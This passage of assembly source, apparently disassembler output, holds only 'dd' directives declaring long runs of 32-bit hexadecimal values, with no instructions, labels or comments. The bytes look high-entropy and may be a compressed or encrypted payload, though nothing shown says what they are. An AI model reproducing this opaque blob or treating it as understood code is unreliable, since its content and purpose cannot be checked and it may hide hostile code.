		dd 56AFA97h, 0A2CCB903h, 0E7E02278h, 34B809DEh,	1655BD22h
		dd 9B044689h, 95A5809Ch, 2A595Eh, 0E59ACE81h, 259D23BCh
		dd 5013F894h, 0AB5160CCh, 3456008Eh, 0DCF38124h, 57FA62DDh
		dd 5801A69Ch, 0B5FF5FF7h, 3E272A25h, 22CFB0A0h,	0EC921A0Eh
		dd 0D0BAB221h, 1F03FFCBh, 0FC258AE0h, 8B301050h, 23182746h
		dd 0A683B05Fh, 0C05B7F56h, 0B8666067h, 3B98E996h, 615C8C1Fh
		dd 2BC252B8h, 0A479A558h, 26D6FC4h, 428362F1h, 28F18CFAh
		dd 5BD3C007h, 0D4CD55D0h, 45590EA3h, 34A001BBh,	56CE85EBh
		dd 28D5F26h, 60ED5749h,	2682E6C0h, 8D0908D6h, 92202B5Dh
		dd 70871444h, 59330057h, 0E1B1C535h, 0B0003E0h,	652E2753h
		dd 2F9642C7h, 0D6F656C2h, 0E1AA5B64h, 0B8D73D71h, 0AC7106B1h
		dd 1909E827h, 8EA97B3Ch, 65BE563Fh, 6AC0EC08h, 3A5F19CFh
		dd 914DD380h, 93B79B93h, 3B6BDDAFh, 0C600A6A9h,	610904C4h
		dd 0BA000FFEh, 0A24D1AFFh, 185F3AFh, 0FBC4DB06h, 8761F88Ah
		dd 0C74C389Ah, 59789ADBh, 9B90B5Ah, 0DF2BE2EAh,	8DA069EEh
		dd 0A1A4AF3h, 7B1540E9h, 0DE1470F0h, 0C215D800h, 8731321Ah
		dd 30500EC9h, 440E110Ch, 0E8C10161h, 0E4CEB10h,	124C3F1Dh
		dd 9CD05803h, 0DD36EBE7h, 6443E036h, 1B63E19Eh,	28293450h
		dd 58180C21h, 57D00113h, 2E93901Bh, 5F25DAC0h, 238067B5h
		dd 0CA9F6D45h, 0BABD16A9h, 35010485h, 4EF8091Bh, 4AE59044h
		dd 3D574804h, 92E2CF68h, 60B5EF04h, 0B70F56B2h,	465FFF25h
		dd 8D8912F6h, 9536B4D5h, 0C19C934h, 0B08087A8h,	1FC6DBB8h
		dd 13F9C04h, 0DFE06DB5h, 6874B05Fh, 0D64C4B14h,	0CB807101h
		dd 106C7ECh, 0F0417C3h,	57AB208Fh, 0BB00965Fh, 6D6C277Dh
		dd 0F369B750h, 0ACF1FD2Ah, 8F520694h, 0FA803C9Fh, 6E2C8525h
		dd 49BB05B3h, 0B1E9D79h, 0B329BD88h, 61E84D75h,	70605298h
		dd 6188E9A5h, 259BA55Bh, 81351F57h, 0C811E8C4h,	80B86868h
		dd 5841E9Fh, 33E0B50h, 0BE44219Dh, 1A23B120h, 31C48689h
		dd 75148779h, 8E16008Dh, 83F99B09h, 441701E3h, 2857BF55h
		dd 0D2DA3820h, 0C0199AAFh, 37349FD7h, 1A849793h, 0C283021Ah
		dd 614B6004h, 0D923811Eh, 89BA5069h, 0F5502050h, 0C55164D4h
		dd 50FD2B98h, 32009CACh, 69D98DD3h, 299D89C9h, 258933D5h
		dd 436D86ABh, 881676C0h, 9C2F395Ch, 0BD291274h,	3067B109h
		dd 1912BADFh, 67B7612Bh, 504CA9A2h, 5F206048h, 0D6014A52h
		dd 61B123D6h, 0F6F6742Fh, 0A32BA089h, 0F75B04A6h, 84FC4A36h
		dd 17A2BFh, 0F2EC95E3h,	9E37D659h, 805D6501h, 967F1F3Bh
		dd 0FA8B501Dh, 50372Dh,	0F872FA10h, 0F25AC6C4h,	0D6E52420h
		dd 2D2602ABh, 6894AD29h, 0D35F8A9Ah, 6F13705Ch,	0FDB409Fh
		dd 661EA080h, 1D8728Bh,	16DF81FBh, 3A5429BCh, 0E4F61634h
		dd 0AF6546E0h, 88CAFC09h, 4428D1C0h, 72E72057h,	28E2E58h
		dd 620EC086h, 0F41F3ECAh, 33C0A04Eh, 0AAE2990Fh, 0FAE1074Bh
		dd 4BC78DA9h, 8733858Bh, 26EE084Ah, 89BA14DCh, 8120BCB0h
		dd 0E9601113h, 715E0312h, 9743B0C3h, 0EEC2E140h, 0D6E4A0h
		dd 0B232D5AEh, 61D08A47h, 2B12C3ACh, 0DE52F1BDh, 0BF023AF3h
		dd 0BB05391h, 46D66774h, 0B1B8001Ch, 0D2B097Eh,	596F2610h
		dd 1D85081Fh, 0A58C031Dh, 13467733h, 0A3267D92h, 6BBF4A63h
		dd 33FB0B7Ah, 0C5D0026Ah, 71817406h, 6D30A579h,	5BE1E0ABh
		dd 8959EB88h, 1511118h,	3A86CD4Bh, 48AC8FF9h, 0CFFCDE7Fh
		dd 9290333Ch, 9BEEC63Fh, 917BC2F8h, 5D86828Bh, 9D79090Bh
		dd 213BD69h, 3628ADF5h,	0EB079679h, 802E837Eh, 0BAE7F977h
		dd 0F6742667h, 198D0484h, 0FD010A1Eh, 0E61C03Ah, 0FFF1D1E9h
		dd 0FDB52921h, 5BBC3B0Eh, 80F59A96h, 0BD87A51Fh, 0A83904F8h
		dd 0E8C29CD4h, 0E36FD3D2h, 9E79E02h, 0A7823992h, 0D60A21F5h
		dd 52250811h, 10D1841h,	54E6905Fh, 505B0944h, 8AD6857h
		dd 764F09C2h, 605F80BAh, 4E0F90A7h, 6435289h, 0AAAACCD0h
		dd 98436C94h, 9A47E093h, 11302B4h, 4D9D31CBh, 0BC5FA4A4h
		dd 77110BCFh, 0E03DCD6Ah, 0EE7F057Dh, 304B7B0Ch, 0C4DFC009h
		dd 10336168h, 0BF2E1FA5h, 7A204BFBh, 7A38018Eh,	1D080020h
		dd 6C8BDF05h, 0DCE4F5BEh, 9C4B3709h, 95C3D0ABh,	0C9801F74h
		dd 24337D53h, 7375DDh, 6DF23813h, 4F951C56h, 8D010305h
		dd 0A92323EDh, 82E69550h, 7C1CAFE0h, 846FF638h,	162D9D01h
		dd 0CE0C0789h, 4FEB1CD6h, 46279FF9h, 22207CA6h,	0C8F78100h
		dd 8910D9E3h, 1CE12785h, 6D61B277h, 0CFBDE0A2h,	4E132349h
		dd 0ACA30155h, 9D189648h, 60D1690Bh, 0A8397AC8h, 0D956436h
		dd 0A2A7E861h, 42BF2057h, 6516A05Eh, 0F49B026Ah, 7791EA92h
		dd 6A24FC8Ah, 46109F90h, 0B400CA60h, 893FC5C3h,	0F6B5A14h
		dd 0F77A1C2Dh, 0EBB7CB22h, 8B908240h, 877DF95Dh, 126FD98Ah
		dd 0E93D80AFh, 169D0EEAh, 3A38485Eh, 0D96EFB4Bh, 0C2E34004h
		dd 8AD80E8h, 0B7310F36h, 20497ADBh, 0A0405002h,	0D627D7EFh
		dd 0AD324E5Bh, 9A2860A5h, 5901F43Fh, 0B4E20F0h,	0A5288DBDh
		dd 0D530FF4Ah, 98B9B53Fh, 80EA9902h, 36693C56h,	0C901A304h
		dd 3FCB1988h, 1BD4787Fh, 6E8F1DBBh, 0E200250h, 36621F9Ch
		dd 8540EB74h, 79E1534Dh, 2F10272h, 0ABA1A5A9h, 981C388h
		dd 47D07F47h, 913A9F97h, 0DFF3801Dh, 4AF18769h,	0F714BA14h
		dd 977D225Bh, 0BF0F6CB0h, 6AFAD84Eh, 19237Bh, 4AFC2FBCh
		dd 29E8C4FAh, 0E5D8519h, 6E3AFF51h, 3DA60121h, 0DCFCC9CFh
		dd 3C6FD2Ah, 84504BDBh,	630CA1C7h, 60CD292Eh, 4B9C062Ch
		dd 0D711F989h, 7100D046h, 0FC345675h, 47B9719h,	6B11DDA2h
		dd 8E4EE912h, 135010F7h, 0B02940E5h, 0E624F8E0h, 2D08F670h
		dd 71E40121h, 3A47BF66h, 84D83523h, 0AC43113h, 0E095F1EBh
		dd 0B97D6805h, 6C55BB13h, 116A43A1h, 0CC4BD22Ch, 0C920BD40h
		dd 0B4BF9820h, 410E09BAh, 0A1BE33D0h, 856F6C40h, 0FF524B5Ah
		dd 24FEE4Fh, 74925D14h,	31C2641h, 0BD09C82Bh, 0D16FE494h
		dd 13E63178h, 6CB45C97h, 92EF76Ch, 6916A196h, 870280B5h
		dd 4D35741Bh, 0FDB7C006h, 15F9A497h, 0C797BF20h, 1FC934C6h
		dd 8D4B4561h, 570DA5F2h, 675FA93Ah, 79E94E79h, 0AE3113FFh
		dd 1585C98h, 0B93FB571h, 749C5DC6h, 99CA2D01h, 0FE0F27A5h
		dd 0D259A929h, 659551E2h, 8AE56D60h, 0DEC2065Eh, 2DBF0816h
		dd 2F6A1749h, 0F1B8BAADh, 1FCF6302h, 4069592Fh,	8025B11Ch
		dd 9B96820Fh, 0B16CDDC9h, 7ED05C97h, 1FBA2F00h,	3AF38E60h
		dd 2F274CADh, 315C0B72h, 0B8A1C195h, 2B085BB9h,	6508DE7Ah
		dd 0D4800CE9h, 0C747DE7Dh, 541A0094h, 0CFE29CF4h, 88520F53h
		dd 425B27ACh, 70407351h, 0B700F108h, 0C16F4817h, 9D5EB81h
		dd 0FC02E1E3h, 3870475Bh, 0FFE0138Dh, 0B988BA20h, 15B9003Ch
		dd 2A986529h, 0FD0B50DAh, 0B7C02BB4h, 56398925h, 53E21980h
		dd 0FFA1502Ch, 0C15F12FDh
		dd 5D20DE79h, 2F134195h, 0F6EEC924h, 217FB00Ah,	4E2690B3h
		dd 74A38FDEh, 2C00E6A4h, 4B79C2DAh, 0A6648Eh, 0C862D486h
		dd 4E99F303h, 0B14F3309h, 0C3FA4DCBh, 9A802837h, 3B13BCA7h
		dd 92A1AE09h, 0E8C9F92Bh, 8A4616DDh, 6FA89D83h,	47F996Ah
		dd 0ECB47DDAh, 0D29DE803h, 0BDF577F2h, 133A8A7h, 0FC4DFF8h
		dd 785979A0h, 0D0BE9211h, 5FCEA4CBh, 4F6030ADh,	0FC10FCDDh
		dd 62732DECh, 3A0EBD61h, 86858738h, 1D43CBEh, 0EC4540E1h
		dd 0C22D8D31h, 7C9317Ch, 71EB15B9h, 0DC1C0950h,	58AE71D1h
		dd 7DE1FF09h, 1860FACDh, 0E91623Fh, 0FAA03ACCh,	0F77D88D2h
		dd 0F015D600h, 0F25F14ACh, 39C2001Ah, 3F6BDCB2h, 777CB3DFh
		dd 832CBE9Bh, 0AFA2FA13h, 0D104BA86h, 0A553DE9Dh, 0C21A96E5h
		dd 0FF35727h, 9649D670h, 1DE04F77h, 0FDE14433h,	0DD645B1Dh
		dd 11BD45E7h, 9EE4852h,	0ED6021B1h, 1F52C018h, 0F98E748h
		dd 0DB0025B1h, 26B50EE8h, 0F1240087h, 0AB83019Bh, 4A4FC79Dh
		dd 0C9581DBEh, 71D12625h, 0D2CFB709h, 4450456Ah, 6DB1BA41h
		dd 0AF8C742Bh, 56F392A3h, 0D31FC7E0h, 46016827h, 8D0F2C48h
		dd 0FAF8C4A4h, 0BD2E4FF1h, 9C2AACAFh, 3DC84088h, 6D0049B1h
		dd 91F2B45Bh, 6B67DBCh,	0BFDC4607h, 5F2E654h, 4DDEAB82h
		dd 0AD23C070h, 541D2036h, 0BDC4439Ah, 68000C8Dh, 6F9C9E05h
		dd 0B352500Bh, 864A6085h, 93F68A10h, 0CB382240h, 496002Ch
		dd 0D33FCF03h, 58005A5Bh, 0FA243481h, 0B6F839Dh, 30FD9509h
		dd 85274DF2h, 0AD554E2Bh, 6108E069h, 8B4BB7CFh,	290627C2h
		dd 215F161h, 6C80745Fh,	1A417D80h, 0F2882045h, 508DFA57h
		dd 25E91A5Dh, 0B77F021Ah, 0A3EB84FEh, 13E4A8E6h, 85A75BDAh
		dd 8175DA4Ah, 88017E79h, 352F3B25h, 0B865ED7Eh,	8CDA003Eh
		dd 45CB6F12h, 291921BBh, 0F9601E6Bh, 0D98B613Ah, 0C1189260h
		dd 47C6EC8h, 4E821B2h, 3ED380EDh, 0DD77C639h, 9E9D614Eh
		dd 38A8F329h, 0B5465E00h, 0BF5391EEh, 0A05C3E8Ah, 0BDBD6E9h
		dd 1240FD78h, 45F6341h,	0E0F59A4h, 71808B60h, 974243Dh
		dd 23B09A96h, 0F4ECB80h, 686B8784h, 2C4EC801h, 7B870A0Bh
		dd 32CC0A05h, 291AEDE1h, 0CF10ADC0h, 2FE5B582h,	53BD0301h
		dd 70229D31h, 0B795CC4Bh, 748A934Eh, 322CEC60h,	0BF045750h
		dd 69B32335h, 0F29269E8h, 81A50081h, 0CF73A7B7h, 2D0601AFh
		dd 0DF13CA89h, 80046C49h, 37387EFEh, 640D00B7h,	1A8CC25Fh
		dd 750A33DCh, 84478940h, 4A0E6037h, 0B70571D9h,	0CB0B580Ch
		dd 798EA92Dh, 0B3908558h, 0BB9B037Dh, 0A6C49345h, 0EBD9E013h
		dd 0F1740028h, 7CB1064Bh, 0F72680B5h, 535245F4h, 6E0B501Bh
		dd 0FE5A5902h, 5C612D32h, 0CD12DC7Ah, 3609C9E4h, 0AD5B81C1h
		dd 17042C20h, 0BC41C4EBh, 8BF6B416h, 0FA384BE0h, 0BD2BCA09h
		dd 8EB4C26Dh, 81017186h, 17DB7DD3h, 72282F3Eh, 0FC9FBD46h
		dd 0FA801D11h, 3B9FE42Bh, 86D0C23Ah, 37E960A2h,	79A69B25h
		dd 583A3AF8h, 8044DBE5h, 7073DA5Fh, 0EDD74C08h,	0DB372D2Dh
		dd 0ABF33500h, 1E9666EDh, 25D5898Eh, 9122B770h,	7C949701h
		dd 8967EC60h, 9D1DED95h, 0D9257C1Ch, 72B7D703h,	75254589h
		dd 90129DC3h, 0F9F71C15h, 0E1058B50h, 0E982713Ah, 0DFB7100Eh
		dd 39B6FA4Dh, 0E2019CEFh, 58A74630h, 0E76B2F65h, 851F1423h
		dd 4CB1D706h, 859A97BEh, 7270DB5Bh, 2F3B1FAAh, 50BB0985h
		dd 0E61712D1h, 5CFDB602h, 5B14CA72h, 885572D4h,	5C9A286h
		dd 0E8F199B4h, 609C322Fh, 0D1E7AD1h, 3AEA2A80h,	877E6DEh
		dd 20FD8509h, 96A46115h, 0A25BC8h, 3B5748EFh, 8285E7DAh
		dd 95CA430Eh, 243F600Dh, 4817629h, 75BA32E3h, 0C277E85Dh
		dd 11198A0Fh, 0CE561014h, 797E00A1h, 0A570669Fh, 2D0090B2h
		dd 9E946B63h, 4E999C21h, 2C968DA1h, 3589D2D8h, 8A88FCh
		dd 40E0A835h, 71522E0Ah, 0E12797FEh, 606E420Eh,	9D131930h
		dd 96CD660Bh, 6CB4FDC0h, 8D394E31h, 8E202E85h, 2880C82h
		dd 0FF037462h, 6B74A82Dh, 251446D6h, 2CEA9061h,	1A57738h
		dd 8F8A7A11h, 210F6CC7h, 15C928Ah, 0BC1112EFh, 10FDB557h
		dd 15004BA8h, 82CBA693h, 0BEA0F0D9h, 0F08569EEh, 46F1F150h
		dd 0BD9D715Fh, 0F79E9240h, 0F12243EDh, 0A7616009h, 0C64B36Dh
		dd 6128D26Dh, 3A51F55Eh, 0BFB85013h, 964A5BDBh,	0A1DC18B1h
		dd 44333C2Fh, 8055DBCBh, 0F58D8ABh, 19016087h, 0A9BD23FCh
		dd 5BD14AF1h, 16EE9620h, 0F752470h, 145109E4h, 4DADE27Bh
		dd 9FB7C08Bh, 0D20935D4h, 74661514h, 0C16A6C66h, 961C23F7h
		dd 0CFA063B6h, 0BA0AD6D2h, 0AC2A5360h, 5F51F904h, 6BD6FEBDh
		dd 6A283369h, 7DDFF89Ch, 274A2590h, 5411FFE5h, 4B5FB34Ah
		dd 0C876DD9Dh, 7DED20A0h, 9F26BD12h, 5B8084ECh,	0A42196A3h
		dd 0E2A0CA25h, 98E4E6h,	0F5790434h, 3A97029Fh, 514CF925h
		dd 0DA714978h, 406A4DEBh, 0DE2F0EE2h, 0C5FA8B26h, 54194900h
		dd 1CE9FC0Fh, 52FFF25Dh, 164F0F5h, 0F3C49A97h, 0EAFF500Fh
		dd 0E604BD71h, 0C4BC82D4h, 0B2D0C3BDh, 18C18B8h, 0D8320B94h
		dd 7BB50139h, 0CE57352h, 54E6F7Bh, 32D2B3D5h, 15846EC7h
		dd 314F0E14h, 296ADBDAh, 1BEBC76h, 0E165B8BAh, 0C110584Ch
		dd 98641F2h, 77FE7CD0h,	97347120h, 6E379209h, 2664D89h
		dd 0D6466C7Dh, 1E261064h, 0DE125250h, 0DB4A70BDh, 46FB8069h
		dd 134FDD08h, 0C6D4123Bh, 0F52D4C44h, 0CD470950h, 0E3DDC76Dh
		dd 0BBB03757h, 0DE12489Ah, 0AEF35B5Eh, 87C0EF58h, 44B833B1h
		dd 858D400h, 4CC8558Fh,	0D8E14B71h, 61219D9Fh, 0EF602513h
		dd 9497A56Fh, 709C5A96h, 24397C6Dh, 591A7300h, 0BE6ED6AEh
		dd 5A24988Bh, 2BE491Eh,	6780B4B7h, 0B8BC3651h, 0B0281707h
		dd 56CF8890h, 13A6AB01h, 60D8ECFBh, 8C4F5136h, 849D6114h
		dd 15C052Ah, 5D818BE2h,	0B8527D90h, 0C4E600EDh,	56800FA4h
		dd 9C07E781h, 5B5A2BE8h, 1EAC8EA4h, 40589A1h, 5E4A1E82h
		dd 211371DBh, 8E6F2F71h, 0A2BDE100h, 0C453DABFh, 17386048h
		dd 630461FCh, 0F4100495h, 0ED0B8512h, 0ACFCCA0Dh, 1C7E0911h
		dd 0C20D4774h, 547E02C4h, 0B5007551h, 0D2DF96A9h, 7A582886h
		dd 0F9E6C4ADh, 0FFA6BE90h, 1E629AB0h, 69A61112h, 0FB3F90FEh
		dd 8700DFB1h, 6610CED7h, 298C993h, 295B8AB7h, 0E5CA059Dh
		dd 0FBA5CD5Ch, 7764D8D2h, 0E4403A94h, 4B40A86h,	0ACD66C83h
		dd 0A2CDBCC2h, 3D8232DFh, 0B122028Ch, 0DEA040D5h, 61270C41h
		dd 0DB10FF6Ah, 8425F2Eh, 0D508E109h, 52E274EDh,	5C50624Eh
		dd 56EFC48Ah, 9B1D845h,	38FAE7F4h, 1375B061h, 4070E6DFh
		dd 0E439107Bh, 0E4973371h, 9124979Dh, 8D2942C9h, 97635821h
		dd 0DBB38603h, 0BAFB5417h, 8EC17732h, 0A54351C9h, 545F6600h
		dd 217213Bh, 8097D0ECh,	9D31608Eh, 31849755h, 1082BC61h
		dd 0A0615B57h, 2E7F47EBh, 8086BE82h, 71BD2935h,	7667C801h
		dd 5C95D04Ch, 8254B1Bh,	0A925D0E4h, 0A87E41Ah, 2A1D9529h
		dd 86623809h, 72091565h, 2B194591h, 2A4489C2h, 4026608Eh
		dd 54005810h, 161C69B2h, 0DFAB70Fh, 0FF8D8B5Bh,	0ECFB4403h
		dd 0D721277Dh, 1B84EE90h, 3E167C8Ah, 21AA528h, 0F4D381FEh
		dd 39410E46h, 0B9664495h, 49C08282h, 78435B30h,	460C50FDh
		dd 6A196DC7h, 5595A28Bh, 0F66ADC24h, 64F1F047h,	126F1203h
		dd 6C7744E0h, 0D69BBD2Ch, 0D3A08BA6h, 1B02A061h, 0A4975C90h
		dd 126670h, 0A2491C4Ah
		dd 790EC53h, 0E527B009h, 64C460h, 3905BF13h, 0A61C1973h
		dd 0B0024E01h, 0DE908DE8h, 40919520h, 5F006111h, 0C4DB8050h
		dd 4DBEB95Bh, 0B1EC2910h, 4F810158h, 0B1B89C94h, 4C2B874Bh
		dd 7F92811Ah, 65F7B84Bh, 0ECC616E0h, 5534F500h,	2B81BF2Fh
		dd 852913D2h, 2EB6B151h, 0ABB373Ch, 81F638Bh, 0C20689D8h
		dd 78DCC456h, 9A0B02ACh, 0B0CFAE30h, 719DDD40h,	0BFA62D4Bh
		dd 0E180E55Ch, 0D518B8D7h, 0BD797C00h, 9C1CCFCAh, 9B17C8Ah
		dd 1591DD22h, 35A5267Bh, 0AA360033h, 58235347h,	0A1BB6695h
		dd 0FD52257Ah, 0D3808060h, 976124E5h, 0AB94D64Eh, 0B6B809D4h
		dd 66FF3B94h, 0D9D10E0h, 258D5908h, 0EB6AE521h,	1AE33000h
		dd 5C2F9515h, 96375Bh, 17D02B16h, 8013D1ABh, 0AEA226DFh
		dd 7FFDDD00h, 4016FE56h, 0EA7E2003h, 708A0F36h,	53949721h
		dd 0BD2F6A45h, 316984BDh, 0C22B6C9Dh, 7109099Ah, 366DA535h
		dd 0E1A184C9h, 0EA6EBEh, 49AE0214h, 9A4DC8DCh, 19B520D1h
		dd 0E14F6198h, 38E26D12h, 7DA67088h, 10BDE631h,	763A382Fh
		dd 996768Ah, 1279192Fh,	6A552E44h, 48058ABCh, 0E4BCA268h
		dd 49D51383h, 3B807CC3h, 0EAC8D35Fh, 0CF1CD000h, 1397E1DEh
		dd 6CF9251Ah, 0DC215E2h, 4D25115Ch, 87E1C089h, 0E9123EB9h
		dd 0CCE2BF82h, 39A1A300h, 2A834A17h, 0F73F1300h, 2ECCE5EAh
		dd 455B24FCh, 0A0111F81h, 4E482FF1h, 0BC7BA762h, 4F59370h
		dd 0D58A2871h, 0B96BBA76h, 0FE001D23h, 95F33FAFh, 68813ABCh
		dd 8D892309h, 22D1DD12h, 58A0A800h, 7793DD04h, 5E7325AEh
		dd 35AFCAD3h, 0A64C003Ch, 187A0FBEh, 5A28277Eh,	6D20F7FAh
		dd 0B3501320h, 0F65185C6h, 0DC27E0F0h, 0B258014Eh, 5E297CA5h
		dd 0DA483005h, 0F80F329Ah, 49665368h, 406849Ah,	0C60965Eh
		dd 0AC7C8197h, 65CE9D0Eh, 0A9BD8B2Bh, 0E8451B8h, 0F1C04C8Fh
		dd 0A853FEDDh, 0C2A27E1Eh, 6052C91Dh, 811B88FFh, 220DDA01h
		dd 5B6146D8h, 9432362Bh, 3F7FD6A2h, 0E065009Ah,	0CDA93A67h
		dd 0E9123FEAh, 0DBFF021Ch, 0B80EC089h, 0BDA9599h, 193BF31h
		dd 5C9B4A55h, 4DD76960h, 9DE460B0h, 2D02A9DAh, 75278022h
		dd 40A576ACh, 48DDC30Ch, 11EE3500h, 5BD03FD6h, 673004C9h
		dd 0BC5FDB0Ah, 0F381C179h, 3BF13FF4h, 0B755172Fh, 0FA88B054h
		dd 6D3C02BAh, 0D56A54F0h, 114078D8h, 4B59EC01h,	500AB71Eh
		dd 3BED51FAh, 5FF90B2Ch, 0BDFFC389h, 0B70130B2h, 2B33612Bh
		dd 4FECA000h, 24EA5470h, 0E1AE2A00h, 913C1EC7h,	0B362046h
		dd 91081522h, 0E2354B01h, 55891B8Bh, 0BD1094C6h, 0BB02258Dh
		dd 4278B6FCh, 372D735Eh, 99FA0230h, 0BB4075A7h,	344989FEh
		dd 189AE8E6h, 0D287715Ah, 0E625C640h, 9F68E62Fh, 80BF14B7h
		dd 709718CAh, 4A24960Ch, 2B4F316h, 4DB6768h, 0C391D834h
		dd 1BD898C0h, 15EF80C8h, 764C8997h, 4C00F669h, 913F1D6Ah
		dd 0E4DBBB07h, 0CAB43904h, 800F9084h, 0CD165302h, 8517C2BBh
		dd 90BF0EC4h, 0A7A532h,	4492E231h, 0D54D9F66h, 46CD5F00h
		dd 6E75197Ah, 2E7B16A3h, 205CAD5Bh, 0F89058FEh,	0B7089913h
		dd 61F913C2h, 58B88AADh, 8B556C10h, 53E71B25h, 0E68E0F8Bh
		dd 24392529h, 132024C7h, 89D5E948h, 0D7EE71FCh,	904427h
		dd 44F340BFh, 0CFED4A21h, 0D52DF972h, 0E0444DD9h, 0B4575B46h
		dd 62C19E05h, 2181F1B3h, 0B86B3459h, 19FEC0D5h,	19DBC31h
		dd 9CEB762h, 220C585h, 50ED5C5Fh, 6182041Ch, 3C2E6978h
		dd 45B09EDh, 7A82169Eh,	3956DF3Bh, 1946D6h, 436DA10Fh
		dd 7733731Fh, 59497BDh,	0D6547CB5h, 0C2F2562Dh,	69077666h
		dd 0FBAE7459h, 0CD4A1810h, 0CE882BFCh, 93A6072Bh, 367D609h
		dd 0F9C8E5A3h, 0F5095973h, 0F8E41E7Fh, 88D98A3Fh, 42801EEDh
		dd 9C8071DDh, 0D0CF00CEh, 0A841B74Bh, 0B81263CCh, 4B83594h
		dd 0E1158585h, 0ACDA2A8Ch, 0CAC015C8h, 25BD31EDh, 8EE1279h
		dd 741AEC4h, 0BB808511h, 3AC288D2h, 0F6E11A97h,	0FA166041h
		dd 6E247338h, 7008D31h,	934341A0h, 0D619975Fh, 683360h
		dd 0E003C70Ch, 5094D5h,	0B4FC61D7h, 7D067F2Dh, 0F43A0800h
		dd 0B866756Ah, 59BF2DD4h, 61D81177h, 9AD6AE39h,	13A8FDCh
		dd 822CD7B5h, 0D2C1AE20h, 716C0EDBh, 9D0B1790h,	412EFFF5h
		dd 78F7811Bh, 1C022FF0h, 0EAED8D29h, 87BA579Bh,	39D4EE56h
		dd 4FA5806Bh, 604A13E6h, 3E24DC08h, 2D2A95BBh, 49EE9083h
		dd 72688B49h, 8400DE85h, 27E18E3Eh, 229509DCh, 9D12190Dh
		dd 4E61D41h, 963017F2h,	0FBD42FC5h, 0E602CE82h,	5AD2CF9h
		dd 829496CBh, 0A001EEB2h, 1E986956h, 6A6FE88Fh,	0A4943E2Fh
		dd 77A85F8Dh, 92B39682h, 8DE21F76h, 11D9102Dh, 400ACF95h
		dd 23DC6A45h, 0D2E0B34Fh, 225C820Ch, 406C5ED2h,	0EE552D1Ah
		dd 0A7F37100h, 4E223B3Fh, 0D0540FC6h, 1B224746h, 3D418251h
		dd 968852CDh, 0E3981766h, 0C694F300h, 6B4D2DC2h, 0F55C00CEh
		dd 0A2ED6F24h, 0FEC8508Fh, 9529C0AEh, 0B79704E5h, 84169118h
		dd 0D4ECA8E5h, 0EC212516h, 0C024AE80h, 19C10A60h, 8C82552h
		dd 7D258D31h, 0C6E8792Dh, 829347ACh, 12B6BE78h,	84EDBD23h
		dd 0D206B986h, 5F80769Ah, 706EF0E7h, 2EA93D04h,	63305D37h
		dd 7A03BDE9h, 8214B1AEh, 6D56887Ch, 0DD410372h,	5870F0Eh
		dd 38BF2D01h, 5F1E11C8h, 527E81F1h, 58CFE385h, 0C68970ACh
		dd 0BC98E96Ah, 27570094h, 953C0222h, 61B7D46Fh,	2D2F4F40h
		dd 0FD1C8241h, 5EF4E97Dh, 37FF271Dh, 56A2F76h, 131282FCh
		dd 465D3CF3h, 0A4019DA8h, 0D008BB46h, 742F12EAh, 0A8E0AD3Bh
		dd 2D6107B6h, 8099ECAAh, 90D5A8F0h, 0F88B560Bh,	84D5765Bh
		dd 175F2DBFh, 0AE13B316h, 0BDA0EFFCh, 9309325Ch, 9DD0B15h
		dd 272B5978h, 0AA9530Ah, 2858045Dh, 1C4D2C89h, 0E02B4228h
		dd 113E1B5Eh, 9AD72A09h, 0B1C09E74h, 6B4E41E5h,	0EA56B5E8h
		dd 6935EF7Bh, 0B38113D4h, 0B93B68B7h, 10C9108Eh, 13E9D062h
		dd 2AB75F83h, 440F0825h, 98564C65h, 4D066971h, 21E96782h
		dd 55A9BA57h, 8FC4198Bh, 3B84C407h, 0F91060F1h,	9C1E63CAh
		dd 0F7508B2h, 2F35B12h,	0C6BCEB49h, 83EC3409h, 6710064h
		dd 0B5D1FF88h, 1F80E45Eh, 0C1142E74h, 0EB5200B8h, 4C5BA5ABh
		dd 0B9121EBAh, 1A18CA17h, 0E35F913Ch, 897FA0A7h, 443E714Fh
		dd 169C5080h, 5EEC1B6Dh, 1906AD7h, 0E4548A51h, 0E93BC936h
		dd 20BF4E84h, 0C042C1E1h, 20F56E70h, 0D500035Ah, 6BBB905Fh
		dd 0B7369493h, 0CF8B6EC0h, 0C0021B97h, 0AD9061C2h, 65C8E0AAh
		dd 0FD59D031h, 0B5499EF1h, 0E9032159h, 2C2F0DE4h, 0E0413522h
		dd 0BBDF9480h, 2A34F25Eh, 64046DB7h, 7BAC601Dh,	78FE2A1h
		dd 0C76A5E74h, 89C2CBC1h, 35746C89h, 65C500DCh,	0C6EED06Ch
		dd 0E34ADF80h, 15E2B6F6h, 9023A630h, 12B12525h,	1B4CAE79h
		dd 3A578222h, 50887BB1h, 4D01026Dh, 2677229Ah, 8A4165F1h
		dd 0C623FF6Ah, 98F42000h, 391F49C3h, 0E5A53502h, 77D98A3Dh
		dd 0C50D5A85h, 0C10DDB2Eh, 0F83CB7E0h, 2609612Fh, 9D290001h
		dd 45114ACDh, 0A0B0DF13h, 0E609FEBCh, 9B8D0F70h, 9089BA36h
		dd 5AE45B94h, 81823071h, 0D812A6E3h, 17F416FCh,	53418AF2h
		dd 0C0CC2D1h, 0C81F4B95h, 15FE331Dh, 0A3F6014Ah, 0FDF9A04Eh
		dd 3361B5C0h, 0B10D2DBDh, 8D290B6Ah, 1E5C1B6Ah,	0BAF88230h
		dd 0B05753DEh, 3846AB00h, 4E5D582Fh, 7D4FAF0Dh,	26228657h
		dd 8718EA5Ah, 810FF914h
		dd 0EFC22B2Bh, 965E465h, 89E9F8D1h, 7F62B45Eh, 0F2010411h
		dd 162111C6h, 0DB07C01Fh, 32090AD9h, 5EBE84BFh,	5FE9E2B8h
		dd 5A0588h, 989057D7h, 1704916Fh, 0B4559372h, 8AC423BCh
		dd 8A1DBCFCh, 0BD88403Eh, 20C6A512h, 8904C996h,	0B6EE0195h
		dd 0A7E7053Eh, 0E0BA1BE3h, 0D0007960h, 47346F75h, 0C5238D4Dh
		dd 88132538h, 5525B533h, 42C2792Dh, 0EC0C5A7Eh,	3D10BCBh
		dd 6A75B19Dh, 0B6907D6Ch, 0BF0B5831h, 0A096F0h,	0DFBD2C0Dh
		dd 0E85C02B3h, 9782D179h, 286F8899h, 5E5BB204h,	0A2566422h
		dd 0B03000EBh, 0C79F6096h, 0AFFCB5FCh, 27A0FD60h, 4F3CF45Fh
		dd 386FAB10h, 0A49D404h, 5E6AFCEDh, 8A98FA20h, 0C80401A5h
		dd 5C3EE2E5h, 0AED54485h, 981C7A6Fh, 9FBC4C6Bh,	0FC5AFE6Ah
		dd 3011D6Eh, 85292B5Fh,	13F5380Dh, 85853CB3h, 0D6E835BDh
